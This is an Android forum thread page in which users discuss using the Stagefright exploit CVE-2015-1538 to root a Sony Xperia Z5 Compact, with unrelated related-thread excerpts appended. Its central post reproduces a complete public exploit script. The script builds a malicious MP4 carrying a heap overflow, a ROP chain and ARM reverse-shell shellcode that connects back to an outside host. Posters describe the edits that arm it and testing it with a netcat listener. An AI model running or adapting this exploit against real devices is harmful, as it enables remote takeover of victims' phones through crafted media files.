Using "Stagefright" exploit CVE-2015-1538 for rooting Sony Xperia Z5 compact? - Xperia Z5 Compact Q&A, Help & Troubleshooting

Using "Stagefright" exploit CVE-2015-1538 for rooting Sony Xperia Z5 compact?
Hello to the community!
I've seen a video on the Zimperium Stagefright Detector App page in the Google Play Store showing how you can get root access to an Android System. And that seems to be quiet easy - just executing a python script.
So my questions are:
- Is the Sony Xperia Z5 compact vulnerable using the CVE-2015-1538 exploit? (haven#t tested yet on my Sony Xperia Z5 compact device)
- Is it then possible to root the Sony Xperia Z5 compact permanently by changing the neccessary files in the System, maybe manually via telnet?
- Can this be done without unlocking the bootloader?
- Which files have to be changed and what are the changes to get permanent root Access?
Maybe this is a way to backup the TA partition to preserve DRM keys if rooting is not possible with this method. And after backing up rooting could be done by unlocking the bootloader and then applying the root methods described in other threads.
Regards from Dresden
"Klaus"

klausstoertebeker said:
- Is the Sony Xperia Z5 compact vulnerable using the CVE-2015-1538 exploit? (haven#t tested yet on my Sony Xperia Z5 compact device)
Click to expand...
Click to collapse
Yes, according to Stagefright Detector. I could not get Stagefright to work on my Z5C, but that is probably due to my shortcomings.
klausstoertebeker said:
- Is it then possible to root the Sony Xperia Z5 compact permanently by changing the neccessary files in the System, maybe manually via telnet?
Click to expand...
Click to collapse
Probably not. Stagefright will give you "media" or "system" privileges. These users can't remount the system partition to make it writable. Also, Sony have strengthen the security using a kernel module (Sony RIC) that disallows any user (even root) to remount system partition.
However, you could maybe (very unlikely) find a system writable executable file in ramdisk and hope for root to execute your modified file.
klausstoertebeker said:
- Can this be done without unlocking the bootloader?
Click to expand...
Click to collapse
Afaik, no one have succeeded yet.
klausstoertebeker said:
- Which files have to be changed and what are the changes to get permanent root Access?
Maybe this is a way to backup the TA partition to preserve DRM keys if rooting is not possible with this method. And after backing up rooting could be done by unlocking the bootloader and then applying the root methods described in other threads.
Click to expand...
Click to collapse
Permanent root on this device is rather tough to achieve. You can't modify system partition due to dm-verity (verified boot), and you can most likely not modify boot partition without unlocking the bootloader.
As you say, your best shot is to achieve temporary root by exploiting some kernel module/driver and then dump TA. This is of course not trivial.
There is maybe another way to get both root and DRM features. As system user (achieved using Stagefright), you can query the "tad" socket to retrieve the DRM keys. This is how Sony is reading the DRM keys when verifying things. When you have the DRM keys you can unlock BL, root, and then modify your ROM to spoof "tad" socket responses with your previously extracted keys. Unlikely, but possibly, you could even write the keys back to the TA partition.
This method requires system privileges. If some clever one helps me getting Stagefright working, I could probably extract the DRM keys.

Maybe the CVE-2015-3636 is easier to use?
Hi nilezon!
Due to the fact I'm on vacation I can't try to get the CVE-2015-1538 exploit working - my SONY Xperia Z5 compact is at home
But I surfed the Internet and found another exploit that's maybe easier to be used to get root privileges: CVE-2015-3636
And if I get the document right, a non-privileged app could be used to get root privileges using a pointer use-after-free bug in the kernel. I'm not an app programmer (I just programmed aviation software parts for jet propulsed military planes ), but it seems to me that the way described in the linked document is easier to go than the way to use the CVE-2015-1538 - I read in the internet that Sony currently is delivering a patch closing the stagefright exploit.
To find out if my phone (SONY Xperia Z1 compact) and tablet are vulnerable to the CVE-2015-3636, I used the app VTS for Android.
If this is a walkable way and you could write an app, maybe the code for backing up the DRM keys or the whole TA Partition could be included into that app using the CVE-2015-3636 exploit to get even temporary root privileges...
What do you think?
Regards
"Klaus"

klausstoertebeker said:
...
Click to expand...
Click to collapse
AFAIK, the Z5 family is not vulnerable to the CVE-2015-3636 exploit.

Generating the CVE-1538-2015 mp4-file
Hi nilezon,
I was able to generate the CVE-1538-2015 file doing three modifications to the python code published by Joshua J. Drake:
Code:
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
#
# Don't forget, the output of "create_mp4" can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one...
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# "With great power comes great responsibility." - Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom - LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise 'Yo! They call it "FourCC" for a reason.'
ret = struct.pack('>L', len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an 'stco' atom - Sample Table Chunk Offets
#
def make_stco(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mNumChunkOffsets
return make_chunk('stco', ret+extra)
#
# Make an 'stsz' atom - Sample Table Size
#
def make_stsz(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mDefaultSampleSize
ret += struct.pack('>L', 0) # mNumSampleSizes
return make_chunk('stsz', ret+extra)
#
# Make an 'stts' atom - Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mTimeToSampleCount
return make_chunk('stts', ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ''
ret += struct.pack('>L', start + 1)
ret += struct.pack('>L', per)
ret += struct.pack('>L', desc)
return ret
#
# Make an 'stsc' chunk - Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
# def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = True):
ret = struct.pack('>L', 0) # version/flags
# this is the clean version...
if not do_overflow:
ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
ret += 'Z' * (12 * num_alloc)
return make_chunk('stsc', ret)
# now the explicit version. (trigger the bug)
ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk('stsc', ret)
# patch the data_size
ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
"""
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
"""
"""
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
"""
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ''
rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
rop += struct.pack('<L', 0xb0002a98) # new lr - pop {pc}
rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
rop += struct.pack('<L', 0x1000) # new r1 - length
rop += struct.pack('<L', 7) # new r2 - protection
rop += struct.pack('<L', 0xd000d003) # new r3 - scratch
rop += struct.pack('<L', 0xd000d004) # new r4 - scratch
rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect
native_start = sp_addr + 0x80
rop += struct.pack('<L', native_start) # address of native payload
#rop += struct.pack('<L', 0xfeedfed5) # top of stack...
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ''
# fork
buf += '\x02\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# continue if not parent...
buf += '\x00\x00\x50\xe3'
buf += '\x02\x00\x00\x0a'
# exit parent
buf += '\x00\x00\xa0\xe3'
buf += '\x01\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# setsid in child
buf += '\x42\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# socket/connect/dup2/dup2/dup2
buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
buf += '\xe3\x00\x00\x00\xef'
# execve(shell, argv, env)
buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
buf += '\xef\x02\x00'
# Add the connect back host/port
buf += struct.pack('!H', cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack('=4s', cb_host)
# shell -
buf += '/system/bin/sh\x00\x00'
# argv -
buf += 'sh\x00\x00'
# env -
buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
# Add some identifiable stuff, just in case something goes awry...
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 - rop_start_off:
rop += struct.pack('<L', 0xf0f00000+x)
x += 4
# Add the native payload...
rop += buf
return rop
#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here...
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
# Build the MP4 header...
ftyp = 'mp42'
ftyp += struct.pack('>L', 0)
ftyp += 'mp42'
ftyp += 'isom'
chunks.append(make_chunk('ftyp', ftyp))
# Note, this causes a few allocations...
moov_data = ''
moov_data += make_chunk('mvhd',
struct.pack('>LL', 0, 0x41414141) +
('B' * 0x5c) )
# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk('trak',
make_chunk('stbl',
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
# Spray the heap using a large tx3g chunk (can contain binary data!)
"""
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
"""
page = ''
off = 0 # the offset to the next object
off += 8
page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack('<L', sp_addr + off) # mRefs
off += 16
page += struct.pack('<L', 1) # mStrong
page += struct.pack('<L', 0xc0dedbad) # mWeak
page += struct.pack('<L', sp_addr + off) # mBase
page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack('<L', newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack('<L', 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) - 20)
moov_data += make_chunk('tx3g', spray)
block = 'A' * 0x1c
bigger = 'B' * 0x40
udta = make_chunk('udta',
make_chunk('meta',
struct.pack('>L', 0) +
make_chunk('ilst',
make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
)
)
moov_data += udta
# Make the nasty trak
tkhd1 = ''.join([
'\x00', # version
'D' * 3, # padding
'E' * (5*4), # {c,m}time, id, ??, duration
'F' * 0x10, # ??
struct.pack('>LLLLLL',
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
'G' * 0x14
])
trak1 = ''
trak1 += make_chunk('tkhd', tkhd1)
mdhd1 = ''.join([
'\x00', # version
'D' * 0x17, # padding
])
mdia1 = ''
mdia1 += make_chunk('mdhd', mdhd1)
mdia1 += make_chunk('hdlr', 'F' * 0x3a)
dinf1 = ''
dinf1 += make_chunk('dref', 'H' * 0x14)
minf1 = ''
minf1 += make_chunk('smhd', 'G' * 0x08)
minf1 += make_chunk('dinf', dinf1)
# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk('stbl', stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk('minf', minf1)
# Add the mdia to the track
trak1 += make_chunk('mdia', mdia1)
# Add the nasty track to the moov data
moov_data += make_chunk('trak', trak1)
# Finalize the moov chunk
moov = make_chunk('moov', moov_data)
chunks.append(moov)
# Combine outer chunks together and voila.
data = ''.join(chunks)
return data
if __name__ == '__main__':
import sys
# import mp4
import argparse
def write_file(path, content):
with open(path, 'wb') as f:
f.write(content)
def addr(sval):
if sval.startswith('0x'):
return int(sval, 16)
return int(sval)
# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts)
# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7')
parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(-1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Build the MP4 file...
# data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
data = create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print('[*] Saving crafted MP4 to %s ...' % args.output_file)
write_file(args.output_file, data)
(Modifications are: changing line 77 from "def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False)" to "def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = True)" to achive using the exploit, commenting out "import mp4" in line 353 to avoid compiler errors and changing line 390 from "data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)" to "data = create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)" to avoid compiler errors.
To run the code I used the "Wing IDE" in combination with "Python 2.7.3". I used the -c <reconnect-IP-address> and -p <reconnect-port> arguments.
But I can't get reconnected from my Sony Xperia Z5 compact because I don't know how to backlisten to the phone and switch to a shell. Maybe the computer in the Zimperium video shows a Linux machine and I'm just running a Windows 7 machine.
But maybe it helps you on the way to save the DRM keys.
(By the way: In the video the "id" command after the first changing directory shows "uid=0(root)" and "gid=0(root)" which means to me that the user has root privileges. Or I'm wrong?)
"Klaus"

But the z3+ old firmware is vulnerable. Maybe You can use a z3+ system folder on z5! They are quite same!
Sent from my E6533 using XDA Free mobile app

Good job on modifying the script. I could run it on my linux box without any modifications and it produced an MP4. I then moved it over to my Z5C and launched it. After that I tried a reverse shell (netcat -l -p <port>) but got nothing. Then I went out on the interwebs to investigate and here are a couple of pointers.
1. The code is written to exploit the hangouts app specifically. So running the mp4 with any other player isn't going to work.
2. The code is written to take default values if -s and -r are not given to the scripts as arguments. The default values are said to only work on the Nexus device that it was written for.
3. The video you saw was edited to make it look really simple, or another script was run that they didn't show us.
More information can be found in the comments around here:
http://null-byte.wonderhowto.com/forum/stagefright-exploit-released-0164432/
Happy exploiting, Merry Christmas.
~Aeny

Hey @klausstoertebeker I have an un rooted stock Sony Z5 Compact that can be used for exploit testing. Wanted to offer it for this purpose before rooting it. If having someone volunteer their "un rooted, bootloader never unlocked-phone" as a test device is helpful then let me know.
Otherwise Im going to root my new phone soon.
Keep up the good work!

Using "Stagefright" exploit CVE-2015-1538 for rooting Sony Xperia Z5 compact?
Hello Joeisgood99!
Thanks for your offer, but I'm not a programmer who takes part in rooting the Z5 compact actively 'cause I'm not experienced with Android programming at all. But I tried to give a thought how a root to this excellent mobile phone could be achieved.
For me using this exploit has become obselete 'cause I accidently did a System update where all the stagefright exploits are closed...
Regards
"Klaus"

You can downgrade your phone using the flashtools to a previous Android version. Dont give up!!!!
Sent from my E6533 using XDA Free mobile app

Maybe downgrade,...
... but to flash firmware you have to unlock the bootloader. And when unlocking the bootloader, you'll loose your DRM-keys.
And the intention to most "rooting" forums is to find a way rooting the mobile phone without unlocking the bootloader to keep the DRM-keys.
And, by the way, if you're unlocking your bootloader you can install a pre-rooted ROM instead of downloading stock ROM's.

You don't need to unlock bootloader to flash an official firmware.

klausstoertebeker said:
... but to flash firmware you have to unlock the bootloader. And when unlocking the bootloader, you'll loose your DRM-keys.
And the intention to most "rooting" forums is to find a way rooting the mobile phone without unlocking the bootloader to keep the DRM-keys.
And, by the way, if you're unlocking your bootloader you can install a pre-rooted ROM instead of downloading stock ROM's.
Click to expand...
Click to collapse
You can flash FTFs without any need of unlocking a Bootloader. And while you're at it: use 32.0.A.4.11 Literally everything exept CVE-2015-3876 is vunerable. I just bought a Z5, and looking forward to put some effort into messing with Stagefright rooting
I'm having a Z5 E6653 BTW

Sorry,...
... Myself5!
You're right saying that TFT's can be flashed without unlocking the bootloader. But nevertheless I won't downgrade again in the moment.
The reason for me to root my Z5 compact is that I'd like to install Xposed in combination with XPrivacy for security reasons. I want to controll the access of app to my personal data (contacts, calendar, location, etc). But now I found two apps which fulfil my security needs without root privileges:
MoboClean which is relased as working app
SRT AppGuard which is in beta stadium
I prefer the second solution, but in the moment it is still under development. I used it with KitKat and JellyBean and it was really good. And until it will be released as "productive" app I'll use MoboClean.
And the second reason for rooting my Z5 compact was that I want to deinstall those Google apps (and other pre-installed bloatware) which collect my data and "phone home" without my notice. And this can be done without rooting now on the Z5 compact via "Preferences -> Apps", selecting "Deactivate" in the appropriate app tab.

There is a number of stage fright vulnerabilitys in some of the stock firmware releases downloadable on Xperifirm. I have made screen shots and posted onbthis thread.
http://forum.xda-developers.com/showpost.php?p=64618471&postcount=93

pardon me,but i was just thinking..

https://www.nccgroup.trust/globalas...pers/2016/01/libstagefright-exploit-notespdf/
Here there are some steps/tips on how to deal with SELinux policy in order to use stagefright exploits successfully. Expert-oriented information
@zxz0O0 sorry to disturb you, don't know if you already know those things but i thought it's worth a check

Related

[ADVICE] Setting up an environment to compile C program to run under Terminal

Hello all,
A long time ago I used to code C on a PC. I am trying to mimic (blatantly kang) some functionality found in the battery code in a new app.
I have the relevant .c and .h battery files but I need some advice on how to set up an environment to compile the code.
I am guessing this will be in some *nix variant and have a Slackware 13 virtual box ready that compiles C (I have a compiled Hello World app running).
My problem is with the include files. Where the C code tries to include an Android/battery-specific header file, I am unsure where to put them or how to include them in the compile (I've tried -I flag in CC).
I have the SDK and NDK (which has the includes I need).
Any HOW-TOs, advice, or links would be gratefully received.
i think you might need all these files, rather than just the 2 we've been dealing with, for it to compile:
a/drivers/w1/w1_family.h b/drivers/w1/w1_family.h
as can be seen here:
http://android.git.kernel.org/?p=ke...ff;h=5fe052bb2d9098f615215a3fc3afeb85c9ff565b
PHP:
diff --git a/drivers/w1/w1_family.h b/drivers/w1/w1_family.h
index 3ca1b92..f15ab4b 100644 (executable)
--- a/drivers/w1/w1_family.h
+++ b/drivers/w1/w1_family.h
@@ -35,6 +35,7 @@
#define W1_THERM_DS18B20 0x28
#define W1_EEPROM_DS2431 0x2D
#define W1_FAMILY_DS2760 0x30
+#define W1_FAMILY_DS2784 0x32 <- this was added -Rog
as well as this:
PHP:
diff --git a/drivers/power/Makefile b/drivers/power/Makefile
index 0005080..b8e8f76 100644 (executable)
--- a/drivers/power/Makefile
+++ b/drivers/power/Makefile
@@ -24,6 +24,7 @@ obj-$(CONFIG_TEST_POWER) += test_power.o
obj-$(CONFIG_BATTERY_DS2760) += ds2760_battery.o
obj-$(CONFIG_BATTERY_DS2782) += ds2782_battery.o
+obj-$(CONFIG_BATTERY_DS2784) += ds2784_battery.o <- this was added -Rog
obj-$(CONFIG_BATTERY_PMU) += pmu_battery.o
obj-$(CONFIG_BATTERY_OLPC) += olpc_battery.o
obj-$(CONFIG_BATTERY_TOSA) += tosa_battery.o
and finally:
PHP:
diff --git a/drivers/power/Kconfig b/drivers/power/Kconfig
index 8e9ba17..91e8d1c 100644 (executable)
--- a/drivers/power/Kconfig
+++ b/drivers/power/Kconfig <- this was added -Rog
@@ -76,6 +76,12 @@ config BATTERY_DS2782
Say Y here to enable support for the DS2782/DS2786 standalone battery
gas-gauge.
+config BATTERY_DS2784
+ tristate "DS2784 battery driver "
+ select W1
+ help
+ Say Y here to enable support for batteries with ds2784 chip
also interesting at line 81 - 85:
http://github.com/CyanogenMod/cm-kernel/blob/android-msm-2.6.34/drivers/w1/w1.h
PHP:
* Note: read_bit and write_bit are very low level functions and should only
* be used with hardware that doesn't really support 1-wire operations,
* like a parallel/serial port.
* Either define read_bit and write_bit OR define, at minimum, touch_bit and
* reset_bus.

Collision detection issue

New to the forums, short introduction? Hi. Next on the agenda I'd like to apologize for this not being in the development forum, but as I'm a new user I was unable to post there.
As for my issue I'm working on a game, it's very basic right now and I'm working on an editor.
(Terribly sorry about this part. Turns out I don't have privileges for image links quite yet. Hope I get there soon! )
So far for rectangles I use the Menu button -> Objects -> Rectangles; Drag and drop to create a shape, press Ok. Drawing multiple rectangles from the map array works perfectly fine, but collision is another story. The most recent object I create HAS collision, if I create a new object, the previous object loses it. e.g. I create 100 rectangles, 1st - 99th don't collide. I have coding experience, asked multiple people. All have been stumped on something that seems like it'd be simple.
The saving:
Code:
if (confirmMode && touchX > (startX + endX) / 2
&& touchX < (startX + endX) / 2 + tileSize * 20
&& touchY < (startY + endY) / 2
&& touchY > (startY + endY) / 2 - tileSize * 10) {
map.add(key, startX);
map.add(key + 1, startY);
map.add(key + 2, endX);
map.add(key + 3, endY);
key += 4;
confirmMode = rectMode = circleMode = false;
}
The reading:
Code:
while (i < key) {
canvas.drawRect(map.get(i), map.get(i + 1), map.get(i + 2),
map.get(i + 3), red);
if (playerX > map.get(i) && playerX < map.get(i + 2)
&& playerY > map.get(i + 1) && playerY < map.get(i + 3))
allowed = 0;
else
allowed = 1;
i += 4;
}
i = 0;
Love, a stranger.

Raspberry GPIO email script

Hi,
I made a simple script that sends me an email when the raspberry detects a rising signal on a gpio input
Between the switch and the gpio i have mounted a resistor (1K ohm all connections are soldered) to prevent the gpio from flaoting
Script works well but when it is up and running for about 15min the RPI detects a rising signal?
Can someone help me out?
greets kawa
Script:
--------------------------------------------------------------------------
import smtplib
import time
def sendemail(from_addr, to_addr_list, cc_addr_list,
subject, message,
login, password,
smtpserver='smtp.gmail.com:587'):
header = 'From: %s\n' % from_addr
header += 'To: %s\n' % ','.join(to_addr_list)
header += 'Cc: %s\n' % ','.join(cc_addr_list)
header += 'Subject: %s\n\n' % subject
message = header + message
server = smtplib.SMTP(smtpserver)
server.starttls()
server.login(login,password)
problems = server.sendmail(from_addr, to_addr_list, message)
server.quit()
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.setup(24, GPIO.OUT, initial=False) #Siren pin setup
try:
GPIO.wait_for_edge(23, GPIO.RISING)
print "\nRising edge ALARM"
sendemail(from_addr = '@gmail.com',
to_addr_list = ['@gmail.coml'],
cc_addr_list = [''],
subject = 'ALARM',
message = 'alarm',
login = '@gmail.com',
password = '****')
GPIutput(24, True)
time.sleep(5)
except KeyboardInterrupt:
GPIO.cleanup() # clean up GPIO on CTRL+C exit
GPIO.cleanup() # clean up GPIO on normal exit

[ISSUE] Trying to compile kernel but it won't boot.

Okay, let's get the troubleshooting started here. Before any source can even be thought of being released it needs to be properly compiled.
So we're trying that (well, Dees Troy is at the moment) and it compiles.
But it doesn't boot. He's managed to get kernels compiled on other MTK devices that boot, so why does this one not work?
First one with the right answer gets a cupie doll and a million thanks.
Discussion go!
Quick guess: wrong partitioning ?
Sent from my Nexus 5 using Tapatalk
kuronosan said:
Okay, let's get the troubleshooting started here. Before any source can even be thought of being released it needs to be properly compiled.
So we're trying that (well, Dees Troy is at the moment) and it compiles.
But it doesn't boot. He's managed to get kernels compiled on other MTK devices that boot, so why does this one not work?
First one with the right answer gets a cupie doll and a million thanks.
Discussion go!
Click to expand...
Click to collapse
Well i have the same Problem with the released Sources from AlcaTel for the MediaTek 6516. It compiles all fine but when i want boot it on the Watch Phone it fails.
How about if you or somebody else upload here one time the Working Kernel that was shipped by MediaTek and one time the self compiled Kernel so we can do a binary comparison of the Two Builds.
Maybe some Magic Numbers are only missed how knows ?
P.S. Btw i guess you used the same Kernel Configurations like the one used by the Mediatek People? I had some trouble with the Kernel Config file as it exist several Boards for the MTK6516 with different Sensors and Option that needed to be activated deactivated ? Can you ebolorate more on this Point. Maybe post the Kernel Config File here so we can study it. It is full GPL Licensed and has nothing to do with Mediatek itself.
ARAN said:
Well i have the same Problem with the released Sources from AlcaTel for the MediaTek 6516. It compiles all fine but when i want boot it on the Watch Phone it fails.
How about if you or somebody else upload here one time the Working Kernel that was shipped by MediaTek and one time the self compiled Kernel so we can do a binary comparison of the Two Builds.
Maybe some Magic Numbers are only missed how knows ?
P.S. Btw i guess you used the same Kernel Configurations like the one used by the Mediatek People? I had some trouble with the Kernel Config file as it exist several Boards for the MTK6516 with different Sensors and Option that needed to be activated deactivated ? Can you ebolorate more on this Point. Maybe post the Kernel Config File here so we can study it. It is full GPL Licensed and has nothing to do with Mediatek itself.
Click to expand...
Click to collapse
I'll upload one of each.
Try this:
...mediatek/config/mtxxxx/autoconfig/kconfig/platform
Disable:
CONFIG_KPROBES
Compile and test.
If still no go:
Also disable:
CONFIG_KALLSYMS
CONFIG_KALLSYMS_ALL
Compile and test.
How are you repacking the kernel?
There's an specific pack/repack scripts for packing zImage +ramdisk of mtk devices:
http://forum.xda-developers.com/showthread.php?t=1587411
B.regards
superdragonpt said:
Try this:
...mediatek/config/mtxxxx/autoconfig/kconfig/platform
Disable:
CONFIG_KPROBES
Compile and test.
If still no go:
Also disable:
CONFIG_KALLSYMS
CONFIG_KALLSYMS_ALL
Compile and test.
How are you repacking the kernel?
There's an specific pack/repack scripts for packing zImage +ramdisk of mtk devices:
http://forum.xda-developers.com/showthread.php?t=1587411
B.regards
Click to expand...
Click to collapse
